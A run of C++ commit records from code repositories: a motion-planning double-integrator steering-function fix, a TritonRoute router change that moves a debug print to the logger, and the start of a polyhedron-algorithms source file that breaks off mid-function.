CVSpace::GetState(y,qy,vy);\n ParabolicRamp::ParabolicRampND ramp;\n ramp.x0 = qx;\n ramp.x1 = qy;\n ramp.dx0 = vx;\n ramp.dx1 = vy;\n if(!ramp.SolveMinTime(vector<double>(amax),vector<double>(vmax))) return false;\n path.milestones[0] = x;\n path.milestones[1] = y;\n \/\/NOTE: THE CONTROL IS INVALID. SHOULD WE SPLIT UP THE PATH INTO PIECEWISE QUADRATIC SEGMENTS?\n path.controls.resize(1);\n path.controls[0].resize(0);\n Spline::PiecewisePolynomialND ppath;\n Convert(ramp,ppath);\n path.paths.push_back(new PiecewisePolynomialInterpolator(ppath));\n return true;\n}<commit_msg>Fixed DoubleIntegrator steering function problems<commit_after>#include \"DoubleIntegrator.h\"\n#include \"InterpolatorHelpers.h\"\n#include \"ParabolicRamp.h\"\n#include \"KinodynamicPath.h\"\n#include \"CSetHelpers.h\"\n#include <iostream>\n#include <sstream>\nusing namespace std;\n\n\nvoid Convert(const ParabolicRamp::ParabolicRamp1D& ramp,Spline::PiecewisePolynomial& res)\n{\n res.segments.resize(3);\n res.timeShift.resize(3);\n res.times.resize(4);\n res.times[0] = 0;\n res.times[1] = ramp.tswitch1;\n res.times[2] = ramp.tswitch2;\n res.times[3] = ramp.ttotal;\n res.segments[0].Resize(3);\n res.segments[0].coef[0] = ramp.x0;\n res.segments[0].coef[1] = ramp.dx0;\n res.segments[0].coef[2] = 0.5*ramp.a1;\n res.timeShift[0] = 0;\n res.segments[1].Resize(2);\n res.segments[1].coef[0] = ramp.Evaluate(ramp.tswitch1);\n res.segments[1].coef[1] = ramp.Derivative(ramp.tswitch1);\n res.timeShift[1] = ramp.tswitch1;\n res.segments[2].Resize(3);\n res.segments[2].coef[0] = ramp.x1;\n res.segments[2].coef[1] = ramp.dx1;\n res.segments[2].coef[2] = 0.5*ramp.a2;\n res.timeShift[2] = ramp.ttotal;\n\n if(ramp.ttotal == ramp.tswitch2) {\n res.times.erase(--res.times.end());\n res.segments.erase(--res.segments.end());\n res.timeShift.erase(--res.timeShift.end());\n }\n if(ramp.tswitch1 == ramp.tswitch2) {\n res.times.erase(++res.times.begin());\n res.segments.erase(++res.segments.begin());\n res.timeShift.erase(++res.timeShift.begin());\n }\n if(ramp.tswitch1 == 0 && res.segments.size()>1) {\n res.times.erase(res.times.begin());\n res.segments.erase(res.segments.begin());\n res.timeShift.erase(res.timeShift.begin());\n }\n}\n\nvoid Convert(const ParabolicRamp::ParabolicRampND& ramp,Spline::PiecewisePolynomialND& res)\n{\n res.elements.resize(ramp.ramps.size());\n for(size_t i=0;i<ramp.ramps.size();i++)\n Convert(ramp.ramps[i],res.elements[i]);\n}\n\n\/\/concatenates the ramps\nvoid Convert(const std::vector<ParabolicRamp::ParabolicRamp1D>& ramps,Spline::PiecewisePolynomial& res)\n{\n assert(!ramps.empty());\n Convert(ramps[0],res);\n for(size_t i=1;i<ramps.size();i++) {\n Spline::PiecewisePolynomial suffix;\n Convert(ramps[i],suffix);\n res.Concat(suffix,true);\n }\n}\n\nvoid Convert(const std::vector<std::vector<ParabolicRamp::ParabolicRamp1D> >& ramps,Spline::PiecewisePolynomialND& res)\n{\n res.elements.resize(ramps.size());\n for(size_t i=0;i<ramps.size();i++)\n Convert(ramps[i],res.elements[i]);\n}\n\n\n\n\n\nDoubleIntegratorControlSpace::DoubleIntegratorControlSpace(const SmartPointer<CSet>& uset,Real dtmax)\n:IntegratedControlSpace(uset,dtmax,dtmax)\n{}\n\nInterpolator* DoubleIntegratorControlSpace::Simulate(const State& x0, const ControlInput& u)\n{\n \/\/do we want to have the interpolator in the range [0,1]?\n Vector q0,v0;\n CVSpace::GetState(x0,q0,v0);\n Real udt = u(0);\n ControlInput ubase;\n ubase.setRef(u,1,1,u.n-1);\n vector<Spline::Polynomial<double> > elements(x0.n);\n assert(q0.n == ubase.n);\n for(int i=0;i<q0.n;i++) {\n elements[i].Resize(3);\n elements[i].SetCoef(0,q0[i]);\n elements[i].SetCoef(1,v0[i]);\n elements[i].SetCoef(2,0.5*ubase[i]);\n }\n for(int i=0;i<q0.n;i++) {\n elements[i+q0.n].Resize(2);\n elements[i+q0.n].SetCoef(0,v0[i]);\n elements[i+q0.n].SetCoef(1,ubase[i]);\n }\n Spline::PiecewisePolynomialND path(elements,0,udt);\n return new PiecewisePolynomialInterpolator(path);\n}\n\nstd::string DoubleIntegratorControlSpace::VariableName(int i)\n{\n if(i==0) return \"time_step\";\n stringstream ss; ss<<\"ddx\"<<i-1; return ss.str(); \n}\n\n\n\nvoid DoubleIntegratorControlSpace::Successor(const State& x0, const ControlInput& u,State& x1)\n{\n Real udt = u(0);\n ControlInput ubase;\n ubase.setRef(u,1,1,u.n-1);\n EvalDynamics(x0,ubase,udt,x1);\n}\n\nvoid DoubleIntegratorControlSpace::Derivative(const State& x, const ControlInput& u,State& dx)\n{\n Vector q,v;\n CVSpace::GetState(x,q,v);\n CVSpace::SetState(v,u,dx);\n}\n\nvoid DoubleIntegratorControlSpace::EvalDynamics(const State& x0, const ControlInput& ddx,Real t,State& x1)\n{\n Vector q0,v0,q1,v1;\n CVSpace::GetState(x0,q0,v0);\n q1 = q0 + t*v0 + (0.5*t*t)*ddx;\n v1 = v0 + t*ddx;\n CVSpace::SetState(q1,v1,x1);\n}\n\n\n\n\n\nDoubleIntegratorKinodynamicSpace::DoubleIntegratorKinodynamicSpace(SmartPointer<CSpace> qspace,SmartPointer<CSpace> vspace,SmartPointer<CSet> uset,Real dtmax)\n:KinodynamicSpace(new CVSpace(qspace,vspace),new DoubleIntegratorControlSpace(uset,dtmax)),visibilityEpsilon(1e-2)\n{\n BoxSet* abset = dynamic_cast<BoxSet*>(&*uset);\n if(!abset) {\n printf(\"DoubleIntegratorKinodynamicSpace: No steering function available; accelerations are not box-bounded\\n\");\n }\n else {\n \/\/create steering function\n PropertyMap props;\n vspace->Properties(props);\n vector<Real> vmin,vmax;\n if(!props.getArray(\"minimum\",vmin) || !props.getArray(\"maximum\",vmax)) {\n vmin.resize(abset->bmin.size(),-Inf);\n vmax.resize(abset->bmax.size(),Inf);\n }\n controlSpace->mySteeringFunction = new DoubleIntegratorBoxBoundedSteeringFunction(abset->bmax,vmax);\n }\n}\n\nEdgePlanner* DoubleIntegratorKinodynamicSpace::TrajectoryChecker(const ControlInput& u,const SmartPointer<Interpolator>& path)\n{\n return new EpsilonEdgeChecker(GetStateSpace(),path,visibilityEpsilon);\n}\n\nvoid DoubleIntegratorKinodynamicSpace::SetVisibilityEpsilon(Real tol)\n{\n visibilityEpsilon = tol;\n}\n\n\n\n\nDoubleIntegratorBoxBoundedSteeringFunction::DoubleIntegratorBoxBoundedSteeringFunction(const Vector& _amax,const Vector& _vmax)\n:amax(vector<double>(_amax)),vmax(vector<double>(_vmax))\n{}\n\nvoid DoubleIntegratorBoxBoundedSteeringFunction::SetConfigurationBounds(const Config& _qmin,const Config& _qmax)\n{\n qmin = _qmin;\n qmax = _qmax;\n}\n\nbool DoubleIntegratorBoxBoundedSteeringFunction::Connect(const State& x,const State& y,KinodynamicMilestonePath& path)\n{\n Vector qx,vx,qy,vy;\n CVSpace::GetState(x,qx,vx);\n CVSpace::GetState(y,qy,vy);\n ParabolicRamp::ParabolicRampND ramp;\n ramp.x0 = qx;\n ramp.x1 = qy;\n ramp.dx0 = vx;\n ramp.dx1 = vy;\n if(!ramp.SolveMinTime(vector<double>(amax),vector<double>(vmax))) return false;\n path.milestones.resize(2);\n path.milestones[0] = x;\n path.milestones[1] = y;\n \/\/NOTE: THE CONTROL IS INVALID. SHOULD WE SPLIT UP THE PATH INTO PIECEWISE QUADRATIC SEGMENTS?\n path.controls.resize(1);\n path.controls[0].resize(qx.n+1,0.0);\n path.controls[0][0] = ramp.endTime;\n Spline::PiecewisePolynomialND ppath;\n Convert(ramp,ppath);\n Spline::PiecewisePolynomialND dpath = ppath.Differentiate();\n \/\/the polynomial needs derivative information too...\n ppath.elements.insert(ppath.elements.end(),dpath.elements.begin(),dpath.elements.end());\n path.paths.push_back(new PiecewisePolynomialInterpolator(ppath));\n return true;\n}<|endoftext|>"} {"text":"<commit_before>\/* Authors: Lutong Wang and Bangqi Xu *\/\n\/*\n * Copyright (c) 2019, The Regents of the University of California\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the University nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <fstream>\n#include <iostream>\n\n#include \"db\/tech\/frTechObject.h\"\n#include \"dr\/FlexDR.h\"\n#include \"frDesign.h\"\n#include \"gc\/FlexGC.h\"\n#include \"global.h\"\n#include \"gr\/FlexGR.h\"\n#include \"gui\/gui.h\"\n#include \"io\/io.h\"\n#include \"pa\/FlexPA.h\"\n#include \"rp\/FlexRP.h\"\n#include \"sta\/StaMain.hh\"\n#include \"ta\/FlexTA.h\"\n#include \"triton_route\/TritonRoute.h\"\n\nusing namespace std;\nusing namespace fr;\nusing namespace triton_route;\n\nnamespace sta {\n\/\/ Tcl files encoded into strings.\nextern const char* TritonRoute_tcl_inits[];\n} \/\/ namespace sta\n\nextern \"C\" {\nextern int Tritonroute_Init(Tcl_Interp* interp);\n}\n\nTritonRoute::TritonRoute()\n : debug_(std::make_unique<frDebugSettings>()),\n num_drvs_(-1),\n gui_(gui::Gui::get())\n{\n}\n\nTritonRoute::~TritonRoute()\n{\n}\n\nvoid TritonRoute::setDebugDR(bool on)\n{\n debug_->debugDR = on;\n}\n\nvoid TritonRoute::setDebugMaze(bool on)\n{\n debug_->debugMaze = on;\n}\n\nvoid TritonRoute::setDebugPA(bool on)\n{\n debug_->debugPA = on;\n}\n\nvoid TritonRoute::setDebugNetName(const char* name)\n{\n debug_->netName = name;\n}\n\nvoid TritonRoute::setDebugPinName(const char* name)\n{\n debug_->pinName = name;\n}\n\nvoid TritonRoute::setDebugGCell(int x, int y)\n{\n debug_->gcellX = x;\n debug_->gcellY = y;\n}\n\nvoid TritonRoute::setDebugIter(int iter)\n{\n debug_->iter = iter;\n}\n\nvoid TritonRoute::setDebugPaMarkers(bool on)\n{\n debug_->paMarkers = on;\n}\n\nint TritonRoute::getNumDRVs() const\n{\n if (num_drvs_ < 0) {\n logger_->error(DRT, 2, \"Detailed routing has not been run yet.\");\n }\n return num_drvs_;\n}\n\nvoid TritonRoute::init(Tcl_Interp* tcl_interp,\n odb::dbDatabase* db,\n Logger* logger)\n{\n db_ = db;\n logger_ = logger;\n design_ = std::make_unique<frDesign>(logger_);\n \/\/ Define swig TCL commands.\n Tritonroute_Init(tcl_interp);\n sta::evalTclInit(tcl_interp, sta::TritonRoute_tcl_inits);\n}\n\nvoid TritonRoute::init()\n{\n if (DBPROCESSNODE == \"GF14_13M_3Mx_2Cx_4Kx_2Hx_2Gx_LB\") {\n VIAINPIN_BOTTOMLAYERNUM = 2;\n VIAINPIN_TOPLAYERNUM = 2;\n USENONPREFTRACKS = false;\n BOTTOM_ROUTING_LAYER = 4;\n TOP_ROUTING_LAYER = 18;\n ENABLE_VIA_GEN = false;\n }\n\n io::Parser parser(getDesign(), logger_);\n parser.readDb(db_);\n\n auto tech = getDesign()->getTech();\n if (!BOTTOM_ROUTING_LAYER_NAME.empty()) {\n frLayer* layer = tech->getLayer(BOTTOM_ROUTING_LAYER_NAME);\n if (layer) {\n BOTTOM_ROUTING_LAYER = layer->getLayerNum();\n } else {\n logger_->warn(utl::DRT,\n 251,\n \"bottomRoutingLayer {} not found\",\n BOTTOM_ROUTING_LAYER_NAME);\n }\n }\n\n if (!TOP_ROUTING_LAYER_NAME.empty()) {\n frLayer* layer = tech->getLayer(TOP_ROUTING_LAYER_NAME);\n if (layer) {\n TOP_ROUTING_LAYER = layer->getLayerNum();\n } else {\n logger_->warn(utl::DRT,\n 252,\n \"bottomRoutingLayer {} not found\",\n TOP_ROUTING_LAYER_NAME);\n }\n }\n\n if (GUIDE_FILE != string(\"\")) {\n parser.readGuide();\n } else {\n ENABLE_VIA_GEN = false;\n }\n parser.postProcess();\n FlexPA pa(getDesign(), logger_);\n pa.setDebug(debug_.get(), db_);\n pa.main();\n if (GUIDE_FILE != string(\"\")) {\n parser.postProcessGuide();\n }\n \/\/ GR-related\n parser.initRPin();\n cout << \"BRANCH NDR_testing\\n\";\n}\n\nvoid TritonRoute::prep()\n{\n FlexRP rp(getDesign(), getDesign()->getTech(), logger_);\n rp.main();\n}\n\nvoid TritonRoute::gr()\n{\n FlexGR gr(getDesign(), logger_);\n gr.main(db_);\n}\n\nvoid TritonRoute::ta()\n{\n FlexTA ta(getDesign(), logger_);\n ta.main();\n}\n\nvoid TritonRoute::dr()\n{\n num_drvs_ = -1;\n FlexDR dr(getDesign(), logger_, db_);\n dr.setDebug(debug_.get());\n dr.main();\n}\n\nvoid TritonRoute::endFR()\n{\n io::Writer writer(getDesign(), logger_);\n writer.updateDb(db_);\n}\n\nvoid TritonRoute::reportConstraints()\n{\n getDesign()->getTech()->printAllConstraints(logger_);\n}\n\nint TritonRoute::main()\n{\n init();\n if (GUIDE_FILE == string(\"\")) {\n gr();\n io::Parser parser(getDesign(), logger_);\n GUIDE_FILE = OUTGUIDE_FILE;\n ENABLE_VIA_GEN = true;\n parser.readGuide();\n parser.initDefaultVias();\n parser.postProcessGuide();\n }\n prep();\n ta();\n dr();\n endFR();\n\n num_drvs_ = design_->getTopBlock()->getNumMarkers();\n\n return 0;\n}\n\nvoid TritonRoute::readParams(const string& fileName)\n{\n int readParamCnt = 0;\n ifstream fin(fileName.c_str());\n string line;\n if (fin.is_open()) {\n while (fin.good()) {\n getline(fin, line);\n if (line[0] != '#') {\n char delimiter = ':';\n int pos = line.find(delimiter);\n string field = line.substr(0, pos);\n string value = line.substr(pos + 1);\n stringstream ss(value);\n if (field == \"lef\") {\n logger_->warn(utl::DRT, 148, \"deprecated lef param in params file\");\n } else if (field == \"def\") {\n logger_->warn(utl::DRT, 227, \"deprecated def param in params file\");\n } else if (field == \"guide\") {\n GUIDE_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputTA\") {\n logger_->warn(\n utl::DRT, 171, \"deprecated outputTA param in params file\");\n } else if (field == \"output\") {\n logger_->warn(\n utl::DRT, 205, \"deprecated output param in params file\");\n } else if (field == \"outputguide\") {\n OUTGUIDE_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputMaze\") {\n OUT_MAZE_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputDRC\") {\n DRC_RPT_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputCMap\") {\n CMAP_FILE = value;\n ++readParamCnt;\n } else if (field == \"threads\") {\n MAX_THREADS = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"verbose\")\n VERBOSE = atoi(value.c_str());\n else if (field == \"dbProcessNode\") {\n DBPROCESSNODE = value;\n ++readParamCnt;\n } else if (field == \"drouteViaInPinBottomLayerNum\") {\n VIAINPIN_BOTTOMLAYERNUM = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"drouteViaInPinTopLayerNum\") {\n VIAINPIN_TOPLAYERNUM = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"drouteEndIterNum\") {\n END_ITERATION = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"OR_SEED\") {\n OR_SEED = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"OR_K\") {\n OR_K = atof(value.c_str());\n ++readParamCnt;\n } else if (field == \"bottomRoutingLayer\") {\n BOTTOM_ROUTING_LAYER_NAME = value;\n ++readParamCnt;\n } else if (field == \"topRoutingLayer\") {\n TOP_ROUTING_LAYER_NAME = value;\n ++readParamCnt;\n } else if (field == \"initRouteShapeCost\") {\n ROUTESHAPECOST = atoi(value.c_str());\n ++readParamCnt;\n }\n }\n }\n fin.close();\n }\n\n if (readParamCnt < 2) {\n logger_->error(DRT, 1, \"Error reading param file: {}\", fileName);\n }\n}\n\nbool fr::isPad(MacroClassEnum e)\n{\n return e == MacroClassEnum::PAD || e == MacroClassEnum::PAD_INPUT\n || e == MacroClassEnum::PAD_OUTPUT || e == MacroClassEnum::PAD_INOUT\n || e == MacroClassEnum::PAD_POWER || e == MacroClassEnum::PAD_SPACER\n || e == MacroClassEnum::PAD_AREAIO;\n}\n\nbool fr::isEndcap(MacroClassEnum e)\n{\n return e == MacroClassEnum::ENDCAP || e == MacroClassEnum::ENDCAP_PRE\n || e == MacroClassEnum::ENDCAP_POST\n || e == MacroClassEnum::ENDCAP_TOPLEFT\n || e == MacroClassEnum::ENDCAP_TOPRIGHT\n || e == MacroClassEnum::ENDCAP_BOTTOMLEFT\n || e == MacroClassEnum::ENDCAP_BOTTOMRIGHT;\n}\n<commit_msg>log \"BRANCH NDR_testing\" in logger<commit_after>\/* Authors: Lutong Wang and Bangqi Xu *\/\n\/*\n * Copyright (c) 2019, The Regents of the University of California\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the University nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <fstream>\n#include <iostream>\n\n#include \"db\/tech\/frTechObject.h\"\n#include \"dr\/FlexDR.h\"\n#include \"frDesign.h\"\n#include \"gc\/FlexGC.h\"\n#include \"global.h\"\n#include \"gr\/FlexGR.h\"\n#include \"gui\/gui.h\"\n#include \"io\/io.h\"\n#include \"pa\/FlexPA.h\"\n#include \"rp\/FlexRP.h\"\n#include \"sta\/StaMain.hh\"\n#include \"ta\/FlexTA.h\"\n#include \"triton_route\/TritonRoute.h\"\n\nusing namespace std;\nusing namespace fr;\nusing namespace triton_route;\n\nnamespace sta {\n\/\/ Tcl files encoded into strings.\nextern const char* TritonRoute_tcl_inits[];\n} \/\/ namespace sta\n\nextern \"C\" {\nextern int Tritonroute_Init(Tcl_Interp* interp);\n}\n\nTritonRoute::TritonRoute()\n : debug_(std::make_unique<frDebugSettings>()),\n num_drvs_(-1),\n gui_(gui::Gui::get())\n{\n}\n\nTritonRoute::~TritonRoute()\n{\n}\n\nvoid TritonRoute::setDebugDR(bool on)\n{\n debug_->debugDR = on;\n}\n\nvoid TritonRoute::setDebugMaze(bool on)\n{\n debug_->debugMaze = on;\n}\n\nvoid TritonRoute::setDebugPA(bool on)\n{\n debug_->debugPA = on;\n}\n\nvoid TritonRoute::setDebugNetName(const char* name)\n{\n debug_->netName = name;\n}\n\nvoid TritonRoute::setDebugPinName(const char* name)\n{\n debug_->pinName = name;\n}\n\nvoid TritonRoute::setDebugGCell(int x, int y)\n{\n debug_->gcellX = x;\n debug_->gcellY = y;\n}\n\nvoid TritonRoute::setDebugIter(int iter)\n{\n debug_->iter = iter;\n}\n\nvoid TritonRoute::setDebugPaMarkers(bool on)\n{\n debug_->paMarkers = on;\n}\n\nint TritonRoute::getNumDRVs() const\n{\n if (num_drvs_ < 0) {\n logger_->error(DRT, 2, \"Detailed routing has not been run yet.\");\n }\n return num_drvs_;\n}\n\nvoid TritonRoute::init(Tcl_Interp* tcl_interp,\n odb::dbDatabase* db,\n Logger* logger)\n{\n db_ = db;\n logger_ = logger;\n design_ = std::make_unique<frDesign>(logger_);\n \/\/ Define swig TCL commands.\n Tritonroute_Init(tcl_interp);\n sta::evalTclInit(tcl_interp, sta::TritonRoute_tcl_inits);\n}\n\nvoid TritonRoute::init()\n{\n if (DBPROCESSNODE == \"GF14_13M_3Mx_2Cx_4Kx_2Hx_2Gx_LB\") {\n VIAINPIN_BOTTOMLAYERNUM = 2;\n VIAINPIN_TOPLAYERNUM = 2;\n USENONPREFTRACKS = false;\n BOTTOM_ROUTING_LAYER = 4;\n TOP_ROUTING_LAYER = 18;\n ENABLE_VIA_GEN = false;\n }\n\n io::Parser parser(getDesign(), logger_);\n parser.readDb(db_);\n\n auto tech = getDesign()->getTech();\n if (!BOTTOM_ROUTING_LAYER_NAME.empty()) {\n frLayer* layer = tech->getLayer(BOTTOM_ROUTING_LAYER_NAME);\n if (layer) {\n BOTTOM_ROUTING_LAYER = layer->getLayerNum();\n } else {\n logger_->warn(utl::DRT,\n 251,\n \"bottomRoutingLayer {} not found\",\n BOTTOM_ROUTING_LAYER_NAME);\n }\n }\n\n if (!TOP_ROUTING_LAYER_NAME.empty()) {\n frLayer* layer = tech->getLayer(TOP_ROUTING_LAYER_NAME);\n if (layer) {\n TOP_ROUTING_LAYER = layer->getLayerNum();\n } else {\n logger_->warn(utl::DRT,\n 252,\n \"bottomRoutingLayer {} not found\",\n TOP_ROUTING_LAYER_NAME);\n }\n }\n\n if (GUIDE_FILE != string(\"\")) {\n parser.readGuide();\n } else {\n ENABLE_VIA_GEN = false;\n }\n parser.postProcess();\n FlexPA pa(getDesign(), logger_);\n pa.setDebug(debug_.get(), db_);\n pa.main();\n if (GUIDE_FILE != string(\"\")) {\n parser.postProcessGuide();\n }\n \/\/ GR-related\n parser.initRPin();\n logger_->info(utl::DRT, -1, \"BRANCH NDR_testing\\n\");\n}\n\nvoid TritonRoute::prep()\n{\n FlexRP rp(getDesign(), getDesign()->getTech(), logger_);\n rp.main();\n}\n\nvoid TritonRoute::gr()\n{\n FlexGR gr(getDesign(), logger_);\n gr.main(db_);\n}\n\nvoid TritonRoute::ta()\n{\n FlexTA ta(getDesign(), logger_);\n ta.main();\n}\n\nvoid TritonRoute::dr()\n{\n num_drvs_ = -1;\n FlexDR dr(getDesign(), logger_, db_);\n dr.setDebug(debug_.get());\n dr.main();\n}\n\nvoid TritonRoute::endFR()\n{\n io::Writer writer(getDesign(), logger_);\n writer.updateDb(db_);\n}\n\nvoid TritonRoute::reportConstraints()\n{\n getDesign()->getTech()->printAllConstraints(logger_);\n}\n\nint TritonRoute::main()\n{\n init();\n if (GUIDE_FILE == string(\"\")) {\n gr();\n io::Parser parser(getDesign(), logger_);\n GUIDE_FILE = OUTGUIDE_FILE;\n ENABLE_VIA_GEN = true;\n parser.readGuide();\n parser.initDefaultVias();\n parser.postProcessGuide();\n }\n prep();\n ta();\n dr();\n endFR();\n\n num_drvs_ = design_->getTopBlock()->getNumMarkers();\n\n return 0;\n}\n\nvoid TritonRoute::readParams(const string& fileName)\n{\n int readParamCnt = 0;\n ifstream fin(fileName.c_str());\n string line;\n if (fin.is_open()) {\n while (fin.good()) {\n getline(fin, line);\n if (line[0] != '#') {\n char delimiter = ':';\n int pos = line.find(delimiter);\n string field = line.substr(0, pos);\n string value = line.substr(pos + 1);\n stringstream ss(value);\n if (field == \"lef\") {\n logger_->warn(utl::DRT, 148, \"deprecated lef param in params file\");\n } else if (field == \"def\") {\n logger_->warn(utl::DRT, 227, \"deprecated def param in params file\");\n } else if (field == \"guide\") {\n GUIDE_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputTA\") {\n logger_->warn(\n utl::DRT, 171, \"deprecated outputTA param in params file\");\n } else if (field == \"output\") {\n logger_->warn(\n utl::DRT, 205, \"deprecated output param in params file\");\n } else if (field == \"outputguide\") {\n OUTGUIDE_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputMaze\") {\n OUT_MAZE_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputDRC\") {\n DRC_RPT_FILE = value;\n ++readParamCnt;\n } else if (field == \"outputCMap\") {\n CMAP_FILE = value;\n ++readParamCnt;\n } else if (field == \"threads\") {\n MAX_THREADS = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"verbose\")\n VERBOSE = atoi(value.c_str());\n else if (field == \"dbProcessNode\") {\n DBPROCESSNODE = value;\n ++readParamCnt;\n } else if (field == \"drouteViaInPinBottomLayerNum\") {\n VIAINPIN_BOTTOMLAYERNUM = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"drouteViaInPinTopLayerNum\") {\n VIAINPIN_TOPLAYERNUM = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"drouteEndIterNum\") {\n END_ITERATION = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"OR_SEED\") {\n OR_SEED = atoi(value.c_str());\n ++readParamCnt;\n } else if (field == \"OR_K\") {\n OR_K = atof(value.c_str());\n ++readParamCnt;\n } else if (field == \"bottomRoutingLayer\") {\n BOTTOM_ROUTING_LAYER_NAME = value;\n ++readParamCnt;\n } else if (field == \"topRoutingLayer\") {\n TOP_ROUTING_LAYER_NAME = value;\n ++readParamCnt;\n } else if (field == \"initRouteShapeCost\") {\n ROUTESHAPECOST = atoi(value.c_str());\n ++readParamCnt;\n }\n }\n }\n fin.close();\n }\n\n if (readParamCnt < 2) {\n logger_->error(DRT, 1, \"Error reading param file: {}\", fileName);\n }\n}\n\nbool fr::isPad(MacroClassEnum e)\n{\n return e == MacroClassEnum::PAD || e == MacroClassEnum::PAD_INPUT\n || e == MacroClassEnum::PAD_OUTPUT || e == MacroClassEnum::PAD_INOUT\n || e == MacroClassEnum::PAD_POWER || e == MacroClassEnum::PAD_SPACER\n || e == MacroClassEnum::PAD_AREAIO;\n}\n\nbool fr::isEndcap(MacroClassEnum e)\n{\n return e == MacroClassEnum::ENDCAP || e == MacroClassEnum::ENDCAP_PRE\n || e == MacroClassEnum::ENDCAP_POST\n || e == MacroClassEnum::ENDCAP_TOPLEFT\n || e == MacroClassEnum::ENDCAP_TOPRIGHT\n || e == MacroClassEnum::ENDCAP_BOTTOMLEFT\n || e == MacroClassEnum::ENDCAP_BOTTOMRIGHT;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <sch\/S_Polyhedron\/Polyhedron_algorithms.h>\n\n#include <sch\/File_Parsing\/SimplestParsing.h>\n\n#include <fstream>\n#include <stdexcept>\n#include <string>\n#include <algorithm>\n#include <set>\n\n\/\/#define CD_POLYHEDRON_ALGORITHM_VERBOSE_MODE \/\/VERBOSE mode (slows down the algorithm) default is commented\n\nusing namespace sch;\n\nPolyhedron_algorithms::Polyhedron_algorithms(void)\n : fastVertexes_(0x0),\n lastVertexes_(0x0),\n numberOfVertices_(0)\n{\n\n}\n\nPolyhedron_algorithms::Polyhedron_algorithms(const Polyhedron_algorithms &p)\n :triangles_(p.triangles_)\n ,fastVertexes_(0x0)\n ,lastVertexes_(0x0)\n{\n for (unsigned i=0; i<p.vertexes_.size(); ++i)\n {\n vertexes_.push_back(p.vertexes_[i]->clone());\n }\n\n updateVertexNeighbors();\n\n updateFastArrays();\n}\n\nPolyhedron_algorithms::~Polyhedron_algorithms(void)\n{\n if (fastVertexes_!=NULL)\n {\n delete[] fastVertexes_;\n }\n for (unsigned int i=0; i<vertexes_.size(); ++i)\n {\n delete vertexes_[i];\n }\n}\n\nconst Polyhedron_algorithms& Polyhedron_algorithms::operator =(const Polyhedron_algorithms &p)\n{\n if (this==&p)\n {\n return *this;\n }\n else\n {\n clear();\n triangles_=p.triangles_;\n\n for (unsigned i=0; i<p.vertexes_.size(); ++i)\n {\n vertexes_.push_back(p.vertexes_[i]->clone());\n }\n\n updateVertexNeighbors();\n\n updateFastArrays();\n\n\n return *this;\n }\n}\n\nsize_t Polyhedron_algorithms::getEdgeKey(PolyhedronEdge e)\n{\n return 